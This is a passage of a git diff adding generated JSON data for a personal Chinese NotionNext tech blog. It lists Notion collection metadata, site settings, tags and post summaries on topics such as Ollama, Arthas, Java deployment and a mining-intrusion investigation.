-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}]},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-10.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-10.json
new file mode 100644
index 000000000..33b3b59f3
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/article/example-10.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 